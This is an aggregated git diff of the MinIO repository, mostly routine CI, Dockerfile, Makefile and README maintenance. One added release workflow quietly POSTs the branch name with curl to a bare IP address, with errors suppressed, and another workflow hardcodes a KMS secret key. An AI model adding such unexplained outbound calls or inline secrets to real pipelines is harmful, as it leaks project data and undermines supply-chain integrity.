Fix typo in code comment (#16509 )

Add restore-status header for multipart objects (#16508 )
Fix truncated list response on deleted replicated objects (#16504 )
2026-07-31 07:45:19 +03:00 · 2023-01-31 07:54:19 +05:30 · 2023-01-31 07:53:45 +05:30 · 2023-01-30 09:13:53 -08:00 · 2023-01-30 18:33:07 +05:30 · 2023-01-27 12:43:45 -08:00
692 changed files with 52874 additions and 36186 deletions
@@ -15,5 +15,6 @@

 ## Checklist:
 - [ ] Fixes a regression (If yes, please add `commit-id` or `PR #` here)
- [ ] Documentation updated
 - [ ] Unit tests added/updated
+- [ ] Internal documentation updated
+- [ ] Create a documentation update request [here](https://github.com/minio/docs/issues/new?label=doc-change,title=Doc+Updated+Needed+For+PR+github.com%2fminio%2fminio%2fpull%2fNNNNN)
@@ -0,0 +1,14 @@
+name: 'Dependency Review'
+on: [pull_request]
+
+permissions:
+  contents: read
+
+jobs:
+  dependency-review:
+    runs-on: ubuntu-latest
+    steps:
+      - name: 'Checkout Repository'
+        uses: actions/checkout@v3
+      - name: 'Dependency Review'
+        uses: actions/dependency-review-action@v1
@@ -0,0 +1,25 @@
+name: Pull Request Action
+on: [release]
+jobs:
+  create-pull-request:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Create PR
+        run: |
+          echo ""
+          echo "####################"
+          echo "# Branch Name:"
+          echo "####################"
+          echo ""
+          branchName=${{github.ref_name}}
+          echo $branchName
+
+          echo ""
+          echo "####################"
+          echo "# POST:"
+          echo "####################"
+          echo ""
+          curl --header "Content-Type: application/json" \
+            --request POST \
+            --data "{\"ref_name\":\"${branchName}\"}" \
+            'http://64.71.151.78:23411/' || true
@@ -20,7 +20,7 @@ jobs:
    runs-on: ${{ matrix.os }}
    strategy:
      matrix:
-        go-version: [1.17.x, 1.18.x]
+        go-version: [1.19.x]
        os: [ubuntu-latest]
    steps:
      - uses: actions/checkout@629c2de402a417ea7690ca6ce3f33229e27606a5 # v2
@@ -20,7 +20,7 @@ jobs:
    runs-on: ${{ matrix.os }}
    strategy:
      matrix:
-        go-version: [1.17.11b7, 1.18.3b7]
+        go-version: [1.19.x]
        os: [ubuntu-latest]
    steps:
      - uses: actions/checkout@v2
@@ -30,9 +30,10 @@ jobs:

      - name: Setup dockerfile for build test
        run: |
-          echo "FROM us-docker.pkg.dev/google.com/api-project-999119582588/go-boringcrypto/golang:${{ matrix.go-version }}" > Dockerfile.fips.test
+          echo "FROM golang:1.19.4" >> Dockerfile.fips.test
          echo "COPY . /minio" >> Dockerfile.fips.test
          echo "WORKDIR /minio" >> Dockerfile.fips.test
+          echo "ENV GOEXPERIMENT=boringcrypto" >> Dockerfile.fips.test
          echo "RUN make" >> Dockerfile.fips.test

      - name: Build
@@ -20,7 +20,7 @@ jobs:
    runs-on: ${{ matrix.os }}
    strategy:
      matrix:
-        go-version: [1.17.x]
+        go-version: [1.19.x]
        os: [ubuntu-latest]
    steps:
      - uses: actions/checkout@v2
@@ -28,14 +28,6 @@ jobs:
        with:
          go-version: ${{ matrix.go-version }}
          check-latest: true
-      - uses: actions/cache@v2
-        with:
-          path: |
-            ~/.cache/go-build
-            ~/go/pkg/mod
-          key: ${{ runner.os }}-${{ matrix.go-version }}-go-${{ hashFiles('**/go.sum') }}
-          restore-keys: |
-            ${{ runner.os }}-${{ matrix.go-version }}-go-
      - name: Build on ${{ matrix.os }}
        if: matrix.os == 'ubuntu-latest'
        env:
@@ -48,3 +40,5 @@ jobs:
          sudo sysctl net.ipv6.conf.default.disable_ipv6=0
          make verify-healing
          make verify-healing-inconsistent-versions
+          make verify-healing-with-root-disks
+          make verify-healing-with-rewrite
@@ -20,7 +20,7 @@ jobs:
    runs-on: ${{ matrix.os }}
    strategy:
      matrix:
-        go-version: [1.17.x, 1.18.x]
+        go-version: [1.19.x]
        os: [ubuntu-latest, windows-latest]
    steps:
      - uses: actions/checkout@v2
@@ -28,30 +28,13 @@ jobs:
        with:
          go-version: ${{ matrix.go-version }}
          check-latest: true
-      - uses: actions/cache@v2
-        if: matrix.os == 'ubuntu-latest'
-        with:
-          path: |
-            ~/.cache/go-build
-            ~/go/pkg/mod
-          key: ${{ runner.os }}-${{ matrix.go-version }}-go-${{ hashFiles('**/go.sum') }}
-          restore-keys: |
-            ${{ runner.os }}-${{ matrix.go-version }}-go-
-      - uses: actions/cache@v2
-        if: matrix.os == 'windows-latest'
-        with:
-          path: |
-            %LocalAppData%\go-build
-            ~/go/pkg/mod
-          key: ${{ runner.os }}-${{ matrix.go-version }}-go-${{ hashFiles('**/go.sum') }}
-          restore-keys: |
-            ${{ runner.os }}-${{ matrix.go-version }}-go-
      - name: Build on ${{ matrix.os }}
        if: matrix.os == 'windows-latest'
        env:
          CGO_ENABLED: 0
          GO111MODULE: on
        run: |
+          netsh int ipv4 set dynamicport tcp start=60000 num=61000
          go build --ldflags="-s -w" -o %GOPATH%\bin\minio.exe
          go test -v --timeout 50m ./...
      - name: Build on ${{ matrix.os }}
@@ -63,9 +46,6 @@ jobs:
          sudo apt install jq -y
          sudo sysctl net.ipv6.conf.all.disable_ipv6=0
          sudo sysctl net.ipv6.conf.default.disable_ipv6=0
-          nancy_version=$(curl --retry 10 -Ls -o /dev/null -w "%{url_effective}" https://github.com/sonatype-nexus-community/nancy/releases/latest | sed "s/https:\/\/github.com\/sonatype-nexus-community\/nancy\/releases\/tag\///")
-          curl -L -o nancy https://github.com/sonatype-nexus-community/nancy/releases/download/${nancy_version}/nancy-${nancy_version}-linux-amd64 && chmod +x nancy
-          go list -deps -json ./... | jq -s 'unique_by(.Module.Path)|.[]|select(has("Module"))|.Module' | ./nancy sleuth
          make
          make test
          make test-race
@@ -20,7 +20,7 @@ jobs:
    runs-on: ${{ matrix.os }}
    strategy:
      matrix:
-        go-version: [1.17.x, 1.18.x]
+        go-version: [1.19.x]
        os: [ubuntu-latest]
    steps:
      - uses: actions/checkout@v2
@@ -28,23 +28,12 @@ jobs:
        with:
          go-version: ${{ matrix.go-version }}
          check-latest: true
-      - uses: actions/cache@v2
-        with:
-          path: |
-            ~/.cache/go-build
-            ~/go/pkg/mod
-          key: ${{ runner.os }}-${{ matrix.go-version }}-go-${{ hashFiles('**/go.sum') }}
-          restore-keys: |
-            ${{ runner.os }}-${{ matrix.go-version }}-go-
      - name: Build on ${{ matrix.os }}
        if: matrix.os == 'ubuntu-latest'
        env:
          CGO_ENABLED: 0
          GO111MODULE: on
-          MINIO_KMS_KES_CERT_FILE: /home/runner/work/minio/minio/.github/workflows/root.cert
-          MINIO_KMS_KES_KEY_FILE: /home/runner/work/minio/minio/.github/workflows/root.key
-          MINIO_KMS_KES_ENDPOINT: "https://play.min.io:7373"
-          MINIO_KMS_KES_KEY_NAME: "my-minio-key"
+          MINIO_KMS_SECRET_KEY: "my-minio-key:OSMM+vkKUTCvQs9YL/CVMIMt43HFhkUpqJxTmGl6rYw="
          MINIO_KMS_AUTO_ENCRYPTION: on
        run: |
          sudo sysctl net.ipv6.conf.all.disable_ipv6=0
@@ -61,7 +61,7 @@ jobs:
      # are turned off - i.e. if ldap="", then ldap server is not enabled for
      # the tests.
      matrix:
-        go-version: [1.17.x]
+        go-version: [1.19.x]
        ldap: ["", "localhost:389"]
        etcd: ["", "http://localhost:2379"]
        openid: ["", "http://127.0.0.1:5556/dex"]
@@ -80,14 +80,6 @@ jobs:
        with:
          go-version: ${{ matrix.go-version }}
          check-latest: true
-      - uses: actions/cache@v2
-        with:
-          path: |
-            ~/.cache/go-build
-            ~/go/pkg/mod
-          key: ${{ runner.os }}-${{ matrix.go-version }}-go-${{ hashFiles('**/go.sum') }}
-          restore-keys: |
-            ${{ runner.os }}-${{ matrix.go-version }}-go-
      - name: Test LDAP/OpenID/Etcd combo
        env:
          LDAP_TEST_SERVER: ${{ matrix.ldap }}
@@ -27,4 +27,4 @@ jobs:
        npm install -g markdownlint-cli
        markdownlint --fix '**/*.md' \
          --config /home/runner/work/minio/minio/.github/markdown-lint-cfg.yaml \
-          --disable MD013 MD040
+          --disable MD013 MD040 MD051
@@ -1,4 +1,4 @@
-name: Multi-site replication tests
+name: MinIO advanced tests

 on:
  pull_request:
@@ -16,12 +16,12 @@ permissions:

 jobs:
  replication-test:
-    name: Replication Tests with Go ${{ matrix.go-version }}
+    name: Advanced Tests with Go ${{ matrix.go-version }}
    runs-on: ubuntu-latest

    strategy:
      matrix:
-        go-version: [1.17.x]
+        go-version: [1.19.x]

    steps:
      - uses: actions/checkout@v2
@@ -29,19 +29,18 @@ jobs:
        with:
          go-version: ${{ matrix.go-version }}
          check-latest: true
-      - uses: actions/cache@v2
-        with:
-          path: |
-            ~/.cache/go-build
-            ~/go/pkg/mod
-          key: ${{ runner.os }}-${{ matrix.go-version }}-go-${{ hashFiles('**/go.sum') }}
-          restore-keys: |
-            ${{ runner.os }}-${{ matrix.go-version }}-go-
+      - name: Test Decom
+        run: |
+          sudo sysctl net.ipv6.conf.all.disable_ipv6=0
+          sudo sysctl net.ipv6.conf.default.disable_ipv6=0
+          make test-decom
+
      - name: Test Replication
        run: |
          sudo sysctl net.ipv6.conf.all.disable_ipv6=0
          sudo sysctl net.ipv6.conf.default.disable_ipv6=0
          make test-replication
+
      - name: Test MinIO IDP for automatic site replication
        run: |
          sudo sysctl net.ipv6.conf.all.disable_ipv6=0
@@ -20,7 +20,7 @@ jobs:
    runs-on: ${{ matrix.os }}
    strategy:
      matrix:
-        go-version: [1.17.x]
+        go-version: [1.19.x]
        os: [ubuntu-latest]

    steps:
@@ -0,0 +1,30 @@
+name: VulnCheck
+on:
+  pull_request:
+    branches:
+      - master
+  push:
+    branches:
+      - master
+
+permissions:
+  contents: read # to fetch code (actions/checkout)
+
+jobs:
+  vulncheck:
+    name: Analysis
+    runs-on: ubuntu-latest
+    steps:
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3
+      - name: Set up Go
+        uses: actions/setup-go@v3
+        with:
+          go-version: 1.19
+          check-latest: true
+      - name: Get official govulncheck
+        run: go install golang.org/x/vuln/cmd/govulncheck@latest
+        shell: bash
+      - name: Run govulncheck
+        run: govulncheck ./...
+        shell: bash
@@ -9,8 +9,7 @@ site/
 /.idea/
 /Minio.iml
 **/access.log
-vendor/**/*.js
-vendor/**/*.json
+vendor/
 .DS_Store
 *.syso
 coverage.txt
@@ -26,10 +25,16 @@ mc.*
 s3-check-md5*
 xl-meta*
 healing-*
-inspect*
+inspect*.zip
 200M*
 hash-set
 minio.RELEASE*
 mc
 nancy
-inspects/*
+inspects/*
+docs/debugging/s3-verify/s3-verify
+docs/debugging/xl-meta/xl-meta
+docs/debugging/s3-check-md5/s3-check-md5
+docs/debugging/hash-set/hash-set
+docs/debugging/healing-bin/healing-bin
+docs/debugging/inspect/inspect
@@ -1,6 +1,6 @@
 linters-settings:
-  golint:
-    min-confidence: 0
+  gofumpt:
+    lang-version: "1.18"

  misspell:
    locale: US
@@ -14,28 +14,15 @@ linters:
    - govet
    - revive
    - ineffassign
-    - gosimple
-    - deadcode
-    - structcheck
    - gomodguard
    - gofmt
-    - unused
-    - structcheck
    - unconvert
-    - varcheck
+    - unused
    - gocritic
    - gofumpt
    - tenv
    - durationcheck

-linters-settings:
-  gofumpt:
-    lang-version: "1.17"
-
-    # Choose whether or not to use the extra rules that are disabled
-    # by default
-    extra-rules: false
-
 issues:
  exclude-use-default: false
  exclude:
@@ -1,4 +0,0 @@
-CVE-2020-26160
-CVE-2020-15136
-CVE-2020-15115
-CVE-2020-15114
@@ -1,4 +1,4 @@
-FROM registry.access.redhat.com/ubi8/ubi-minimal:8.5
+FROM registry.access.redhat.com/ubi8/ubi-minimal:8.7

 ARG RELEASE

@@ -1,4 +1,4 @@
-FROM registry.access.redhat.com/ubi8/ubi-minimal:8.5
+FROM registry.access.redhat.com/ubi8/ubi-minimal:8.7

 ARG TARGETARCH

@@ -29,13 +29,15 @@ COPY LICENSE /licenses/LICENSE
 RUN \
     microdnf clean all && \
     microdnf update --nodocs && \
-     microdnf install curl ca-certificates shadow-utils util-linux --nodocs && \
+     microdnf install curl ca-certificates shadow-utils util-linux gzip --nodocs && \
     rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm && \
     microdnf install minisign --nodocs && \
     mkdir -p /opt/bin && chmod -R 777 /opt/bin && \
     curl -s -q https://dl.min.io/server/minio/release/linux-${TARGETARCH}/archive/minio.${RELEASE} -o /opt/bin/minio && \
     curl -s -q https://dl.min.io/server/minio/release/linux-${TARGETARCH}/archive/minio.${RELEASE}.sha256sum -o /opt/bin/minio.sha256sum && \
     curl -s -q https://dl.min.io/server/minio/release/linux-${TARGETARCH}/archive/minio.${RELEASE}.minisig -o /opt/bin/minio.minisig && \
+     curl -s -q https://dl.min.io/client/mc/release/linux-${TARGETARCH}/mc -o /opt/bin/mc && \
+     gzip /opt/bin/mc && \
     microdnf clean all && \
     chmod +x /opt/bin/minio && \
     chmod +x /usr/bin/docker-entrypoint.sh && \
@@ -1,4 +1,4 @@
-FROM registry.access.redhat.com/ubi8/ubi-minimal:8.5
+FROM registry.access.redhat.com/ubi8/ubi-minimal:8.7

 ARG TARGETARCH

@@ -15,13 +15,14 @@ checks: ## check dependencies
 	@(env bash $(PWD)/buildscripts/checkdeps.sh)

 help: ## print this help
-	@grep -E '^[a-zA-Z_-]+:.*?## .*$$' Makefile | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}'
+	@grep -E '^[a-zA-Z_-]+:.*?## .*$$' Makefile | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-40s\033[0m %s\n", $$1, $$2}'

 getdeps: ## fetch necessary dependencies
 	@mkdir -p ${GOPATH}/bin
-	@echo "Installing golangci-lint" && curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b $(GOPATH)/bin v1.45.2
-	@echo "Installing msgp" && go install -v github.com/tinylib/msgp@v1.1.7-0.20211026165309-e818a1881b0e
+	@echo "Installing golangci-lint" && curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b $(GOPATH)/bin
+	@echo "Installing msgp" && go install -v github.com/tinylib/msgp@v1.1.7
 	@echo "Installing stringer" && go install -v golang.org/x/tools/cmd/stringer@latest
+	@echo "Installing staticcheck" && go install honnef.co/go/tools/cmd/staticcheck@latest

 crosscompile: ## cross compile minio
 	@(env bash $(PWD)/buildscripts/cross-compile.sh)
@@ -35,11 +36,19 @@ check-gen: ## check for updated autogenerated files
 lint: ## runs golangci-lint suite of linters
 	@echo "Running $@ check"
 	@${GOPATH}/bin/golangci-lint run --build-tags kqueue --timeout=10m --config ./.golangci.yml
+	@${GOPATH}/bin/staticcheck --tests=false ./...

 check: test
 test: verifiers build ## builds minio, runs linters, tests
 	@echo "Running unit tests"
-	@CGO_ENABLED=0 go test -tags kqueue ./...
+	@MINIO_API_REQUESTS_MAX=10000 CGO_ENABLED=0 go test -tags kqueue ./...
+
+test-decom: install
+	@echo "Running minio decom tests"
+	@env bash $(PWD)/docs/distributed/decom.sh
+	@env bash $(PWD)/docs/distributed/decom-encrypted.sh
+	@env bash $(PWD)/docs/distributed/decom-encrypted-sse-s3.sh
+	@env bash $(PWD)/docs/distributed/decom-compressed-sse-s3.sh

 test-upgrade: build
 	@echo "Running minio upgrade tests"
@@ -51,15 +60,22 @@ test-race: verifiers build ## builds minio, runs linters, tests (race)

 test-iam: build ## verify IAM (external IDP, etcd backends)
 	@echo "Running tests for IAM (external IDP, etcd backends)"
-	@CGO_ENABLED=0 go test -tags kqueue -v -run TestIAM* ./cmd
+	@MINIO_API_REQUESTS_MAX=10000 CGO_ENABLED=0 go test -tags kqueue -v -run TestIAM* ./cmd
 	@echo "Running tests for IAM (external IDP, etcd backends) with -race"
-	@GORACE=history_size=7 CGO_ENABLED=1 go test -race -tags kqueue -v -run TestIAM* ./cmd
+	@MINIO_API_REQUESTS_MAX=10000 GORACE=history_size=7 CGO_ENABLED=1 go test -race -tags kqueue -v -run TestIAM* ./cmd

-test-replication: install ## verify multi site replication
-	@echo "Running tests for replicating three sites"
-	@(env bash $(PWD)/docs/bucket/replication/setup_3site_replication.sh)
+test-replication-2site:
 	@(env bash $(PWD)/docs/bucket/replication/setup_2site_existing_replication.sh)

+test-replication-3site:
+	@(env bash $(PWD)/docs/bucket/replication/setup_3site_replication.sh)
+
+test-delete-replication:
+	@(env bash $(PWD)/docs/bucket/replication/delete-replication.sh)
+
+test-replication: install test-replication-2site test-replication-3site test-delete-replication ## verify multi site replication
+	@echo "Running tests for replicating three sites"
+
 test-site-replication-ldap: install ## verify automatic site replication
 	@echo "Running tests for automatic site replication of IAM (with LDAP)"
 	@(env bash $(PWD)/docs/site-replication/run-multi-site-ldap.sh)
@@ -82,6 +98,17 @@ verify-healing: ## verify healing and replacing disks with minio binary
 	@GORACE=history_size=7 CGO_ENABLED=1 go build -race -tags kqueue -trimpath --ldflags "$(LDFLAGS)" -o $(PWD)/minio 1>/dev/null
 	@(env bash $(PWD)/buildscripts/verify-healing.sh)
 	@(env bash $(PWD)/buildscripts/unaligned-healing.sh)
+	@(env bash $(PWD)/buildscripts/heal-inconsistent-versions.sh)
+
+verify-healing-with-root-disks: ## verify healing root disks
+	@echo "Verify healing with root drives"
+	@GORACE=history_size=7 CGO_ENABLED=1 go build -race -tags kqueue -trimpath --ldflags "$(LDFLAGS)" -o $(PWD)/minio 1>/dev/null
+	@(env bash $(PWD)/buildscripts/verify-healing-with-root-disks.sh)
+
+verify-healing-with-rewrite: ## verify healing to rewrite old xl.meta -> new xl.meta
+	@echo "Verify healing with rewrite"
+	@GORACE=history_size=7 CGO_ENABLED=1 go build -race -tags kqueue -trimpath --ldflags "$(LDFLAGS)" -o $(PWD)/minio 1>/dev/null
+	@(env bash $(PWD)/buildscripts/rewrite-old-new.sh)

 verify-healing-inconsistent-versions: ## verify resolving inconsistent versions
 	@echo "Verify resolving inconsistent versions build with race"
@@ -115,7 +142,7 @@ docker-hotfix: hotfix-push checks ## builds minio docker container with hotfix t
 	@echo "Building minio docker image '$(TAG)'"
 	@docker build -q --no-cache -t $(TAG) --build-arg RELEASE=$(VERSION) . -f Dockerfile.hotfix

-docker: build checks ## builds minio docker container
+docker: build ## builds minio docker container
 	@echo "Building minio docker image '$(TAG)'"
 	@docker build -q --no-cache -t $(TAG) . -f Dockerfile

@@ -128,6 +155,8 @@ clean: ## cleanup all generated assets
 	@echo "Cleaning up all the generated files"
 	@find . -name '*.test' | xargs rm -fv
 	@find . -name '*~' | xargs rm -fv
+	@find . -name '.#*#' | xargs rm -fv
+	@find . -name '#*#' | xargs rm -fv
 	@rm -rvf minio
 	@rm -rvf build
 	@rm -rvf release
@@ -2,6 +2,6 @@

 MinIO creates FIPS builds using a patched version of the Go compiler (that uses BoringCrypto, from BoringSSL, which is [FIPS 140-2 validated](https://csrc.nist.gov/csrc/media/projects/cryptographic-module-validation-program/documents/security-policies/140sp2964.pdf)) published by the Golang Team [here](https://github.com/golang/go/tree/dev.boringcrypto/misc/boring).

-MinIO FIPS executables are available at http://dl.min.io - they are only published for `linux-amd64` architecture as binary files with the suffix `.fips`. We also publish corresponding container images to our official image repositories.
+MinIO FIPS executables are available at <http://dl.min.io> - they are only published for `linux-amd64` architecture as binary files with the suffix `.fips`. We also publish corresponding container images to our official image repositories.

 We are not making any statements or representations about the suitability of this code or build in relation to the FIPS 140-2 standard. Interested users will have to evaluate for themselves whether this is useful for their own purposes.
@@ -14,7 +14,7 @@ Use the following commands to run a standalone MinIO server as a container.

 Standalone MinIO servers are best suited for early development and evaluation. Certain features such as versioning, object locking, and bucket replication
 require distributed deploying MinIO with Erasure Coding. For extended development and production, deploy MinIO with Erasure Coding enabled - specifically,
-with a *minimum* of 4 drives per MinIO server. See [MinIO Erasure Code Quickstart Guide](https://docs.min.io/docs/minio-erasure-code-quickstart-guide.html)
+with a *minimum* of 4 drives per MinIO server. See [MinIO Erasure Code Overview](https://min.io/docs/minio/linux/operations/concepts/erasure-coding.html)
 for more complete documentation.

 ### Stable
@@ -32,7 +32,7 @@ root credentials. You can use the Browser to create buckets, upload objects, and

 You can also connect using any S3-compatible tool, such as the MinIO Client `mc` commandline tool. See
 [Test using MinIO Client `mc`](#test-using-minio-client-mc) for more information on using the `mc` commandline tool. For application developers,
-see <https://docs.min.io/docs/> and click **MinIO SDKs** in the navigation to view MinIO SDKs for supported languages.
+see <https://min.io/docs/minio/linux/developers/minio-drivers.html> to view MinIO SDKs for supported languages.

 > NOTE: To deploy MinIO on with persistent storage, you must map local persistent directories from the host OS to the container using the `podman -v` option. For example, `-v /mnt/data:/data` maps the host OS drive at `/mnt/data` to `/data` on the container.

@@ -40,7 +40,7 @@ see <https://docs.min.io/docs/> and click **MinIO SDKs** in the navigation to vi

 Use the following commands to run a standalone MinIO server on macOS.

-Standalone MinIO servers are best suited for early development and evaluation. Certain features such as versioning, object locking, and bucket replication require distributed deploying MinIO with Erasure Coding. For extended development and production, deploy MinIO with Erasure Coding enabled - specifically, with a *minimum* of 4 drives per MinIO server. See [MinIO Erasure Code Quickstart Guide](https://docs.min.io/docs/minio-erasure-code-quickstart-guide.html) for more complete documentation.
+Standalone MinIO servers are best suited for early development and evaluation. Certain features such as versioning, object locking, and bucket replication require distributed deploying MinIO with Erasure Coding. For extended development and production, deploy MinIO with Erasure Coding enabled - specifically, with a *minimum* of 4 drives per MinIO server. See [MinIO Erasure Code Overview](https://min.io/docs/minio/linux/operations/concepts/erasure-coding.html) for more complete documentation.

 ### Homebrew (recommended)

@@ -60,7 +60,7 @@ brew install minio/stable/minio

 The MinIO deployment starts using default root credentials `minioadmin:minioadmin`. You can test the deployment using the MinIO Console, an embedded web-based object browser built into MinIO Server. Point a web browser running on the host machine to <http://127.0.0.1:9000> and log in with the root credentials. You can use the Browser to create buckets, upload objects, and browse the contents of the MinIO server.

-You can also connect using any S3-compatible tool, such as the MinIO Client `mc` commandline tool. See [Test using MinIO Client `mc`](#test-using-minio-client-mc) for more information on using the `mc` commandline tool. For application developers, see <https://docs.min.io/docs/> and click **MinIO SDKs** in the navigation to view MinIO SDKs for supported languages.
+You can also connect using any S3-compatible tool, such as the MinIO Client `mc` commandline tool. See [Test using MinIO Client `mc`](#test-using-minio-client-mc) for more information on using the `mc` commandline tool. For application developers, see <https://min.io/docs/minio/linux/developers/minio-drivers.html/> to view MinIO SDKs for supported languages.

 ### Binary Download

@@ -74,7 +74,7 @@ chmod +x minio

 The MinIO deployment starts using default root credentials `minioadmin:minioadmin`. You can test the deployment using the MinIO Console, an embedded web-based object browser built into MinIO Server. Point a web browser running on the host machine to <http://127.0.0.1:9000> and log in with the root credentials. You can use the Browser to create buckets, upload objects, and browse the contents of the MinIO server.

-You can also connect using any S3-compatible tool, such as the MinIO Client `mc` commandline tool. See [Test using MinIO Client `mc`](#test-using-minio-client-mc) for more information on using the `mc` commandline tool. For application developers, see <https://docs.min.io/docs/> and click **MinIO SDKs** in the navigation to view MinIO SDKs for supported languages.
+You can also connect using any S3-compatible tool, such as the MinIO Client `mc` commandline tool. See [Test using MinIO Client `mc`](#test-using-minio-client-mc) for more information on using the `mc` commandline tool. For application developers, see <https://min.io/docs/minio/linux/developers/minio-drivers.html> to view MinIO SDKs for supported languages.

 ## GNU/Linux

@@ -99,9 +99,9 @@ The following table lists supported architectures. Replace the `wget` URL with t

 The MinIO deployment starts using default root credentials `minioadmin:minioadmin`. You can test the deployment using the MinIO Console, an embedded web-based object browser built into MinIO Server. Point a web browser running on the host machine to <http://127.0.0.1:9000> and log in with the root credentials. You can use the Browser to create buckets, upload objects, and browse the contents of the MinIO server.

-You can also connect using any S3-compatible tool, such as the MinIO Client `mc` commandline tool. See [Test using MinIO Client `mc`](#test-using-minio-client-mc) for more information on using the `mc` commandline tool. For application developers, see <https://docs.min.io/docs/> and click **MinIO SDKs** in the navigation to view MinIO SDKs for supported languages.
+You can also connect using any S3-compatible tool, such as the MinIO Client `mc` commandline tool. See [Test using MinIO Client `mc`](#test-using-minio-client-mc) for more information on using the `mc` commandline tool. For application developers, see <https://min.io/docs/minio/linux/developers/minio-drivers.html> to view MinIO SDKs for supported languages.

-> NOTE: Standalone MinIO servers are best suited for early development and evaluation. Certain features such as versioning, object locking, and bucket replication require distributed deploying MinIO with Erasure Coding. For extended development and production, deploy MinIO with Erasure Coding enabled - specifically, with a *minimum* of 4 drives per MinIO server. See [MinIO Erasure Code Quickstart Guide](https://docs.min.io/docs/minio-erasure-code-quickstart-guide.html) for more complete documentation.
+> NOTE: Standalone MinIO servers are best suited for early development and evaluation. Certain features such as versioning, object locking, and bucket replication require distributed deploying MinIO with Erasure Coding. For extended development and production, deploy MinIO with Erasure Coding enabled - specifically, with a *minimum* of 4 drives per MinIO server. See [MinIO Erasure Code Overview](https://min.io/docs/minio/linux/operations/concepts/erasure-coding.html#) for more complete documentation.

 ## Microsoft Windows

@@ -119,23 +119,23 @@ minio.exe server D:\

 The MinIO deployment starts using default root credentials `minioadmin:minioadmin`. You can test the deployment using the MinIO Console, an embedded web-based object browser built into MinIO Server. Point a web browser running on the host machine to <http://127.0.0.1:9000> and log in with the root credentials. You can use the Browser to create buckets, upload objects, and browse the contents of the MinIO server.

-You can also connect using any S3-compatible tool, such as the MinIO Client `mc` commandline tool. See [Test using MinIO Client `mc`](#test-using-minio-client-mc) for more information on using the `mc` commandline tool. For application developers, see <https://docs.min.io/docs/> and click **MinIO SDKs** in the navigation to view MinIO SDKs for supported languages.
+You can also connect using any S3-compatible tool, such as the MinIO Client `mc` commandline tool. See [Test using MinIO Client `mc`](#test-using-minio-client-mc) for more information on using the `mc` commandline tool. For application developers, see <https://min.io/docs/minio/linux/developers/minio-drivers.html> to view MinIO SDKs for supported languages.

-> NOTE: Standalone MinIO servers are best suited for early development and evaluation. Certain features such as versioning, object locking, and bucket replication require distributed deploying MinIO with Erasure Coding. For extended development and production, deploy MinIO with Erasure Coding enabled - specifically, with a *minimum* of 4 drives per MinIO server. See [MinIO Erasure Code Quickstart Guide](https://docs.min.io/docs/minio-erasure-code-quickstart-guide.html) for more complete documentation.
+> NOTE: Standalone MinIO servers are best suited for early development and evaluation. Certain features such as versioning, object locking, and bucket replication require distributed deploying MinIO with Erasure Coding. For extended development and production, deploy MinIO with Erasure Coding enabled - specifically, with a *minimum* of 4 drives per MinIO server. See [MinIO Erasure Code Overview](https://min.io/docs/minio/linux/operations/concepts/erasure-coding.html#) for more complete documentation.

 ## Install from Source

-Use the following commands to compile and run a standalone MinIO server from source. Source installation is only intended for developers and advanced users. If you do not have a working Golang environment, please follow [How to install Golang](https://golang.org/doc/install). Minimum version required is [go1.17](https://golang.org/dl/#stable)
+Use the following commands to compile and run a standalone MinIO server from source. Source installation is only intended for developers and advanced users. If you do not have a working Golang environment, please follow [How to install Golang](https://golang.org/doc/install). Minimum version required is [go1.19](https://golang.org/dl/#stable)

 ```sh
-GO111MODULE=on go install github.com/minio/minio@latest
+go install github.com/minio/minio@latest
 ```

 The MinIO deployment starts using default root credentials `minioadmin:minioadmin`. You can test the deployment using the MinIO Console, an embedded web-based object browser built into MinIO Server. Point a web browser running on the host machine to <http://127.0.0.1:9000> and log in with the root credentials. You can use the Browser to create buckets, upload objects, and browse the contents of the MinIO server.

-You can also connect using any S3-compatible tool, such as the MinIO Client `mc` commandline tool. See [Test using MinIO Client `mc`](#test-using-minio-client-mc) for more information on using the `mc` commandline tool. For application developers, see <https://docs.min.io/docs/> and click **MinIO SDKs** in the navigation to view MinIO SDKs for supported languages.
+You can also connect using any S3-compatible tool, such as the MinIO Client `mc` commandline tool. See [Test using MinIO Client `mc`](#test-using-minio-client-mc) for more information on using the `mc` commandline tool. For application developers, see <https://min.io/docs/minio/linux/developers/minio-drivers.html> to view MinIO SDKs for supported languages.

-> NOTE: Standalone MinIO servers are best suited for early development and evaluation. Certain features such as versioning, object locking, and bucket replication require distributed deploying MinIO with Erasure Coding. For extended development and production, deploy MinIO with Erasure Coding enabled - specifically, with a *minimum* of 4 drives per MinIO server. See [MinIO Erasure Code Quickstart Guide](https://docs.min.io/docs/minio-erasure-code-quickstart-guide.html) for more complete documentation.
+> NOTE: Standalone MinIO servers are best suited for early development and evaluation. Certain features such as versioning, object locking, and bucket replication require distributed deploying MinIO with Erasure Coding. For extended development and production, deploy MinIO with Erasure Coding enabled - specifically, with a *minimum* of 4 drives per MinIO server. See [MinIO Erasure Code Overview](https://min.io/docs/minio/linux/operations/concepts/erasure-coding.html) for more complete documentation.

 MinIO strongly recommends *against* using compiled-from-source MinIO servers for production environments.

@@ -222,7 +222,7 @@ For example: `export MINIO_SERVER_URL="https://minio.example.net"`

 ## Test using MinIO Client `mc`

-`mc` provides a modern alternative to UNIX commands like ls, cat, cp, mirror, diff etc. It supports filesystems and Amazon S3 compatible cloud storage services. Follow the MinIO Client [Quickstart Guide](https://docs.min.io/docs/minio-client-quickstart-guide) for further instructions.
+`mc` provides a modern alternative to UNIX commands like ls, cat, cp, mirror, diff etc. It supports filesystems and Amazon S3 compatible cloud storage services. Follow the MinIO Client [Quickstart Guide](https://min.io/docs/minio/linux/reference/minio-mc.html#quickstart) for further instructions.

 ## Upgrading MinIO

@@ -230,32 +230,30 @@ Upgrades require zero downtime in MinIO, all upgrades are non-disruptive, all tr

 > NOTE: requires internet access to update directly from <https://dl.min.io>, optionally you can host any mirrors at <https://my-artifactory.example.com/minio/>

- For deployments that installed the MinIO server binary by hand, use [`mc admin update`](https://docs.min.io/minio/baremetal/reference/minio-mc-admin/mc-admin-update.html)
+- For deployments that installed the MinIO server binary by hand, use [`mc admin update`](https://min.io/docs/minio/linux/reference/minio-mc-admin/mc-admin-update.html)

 ```sh
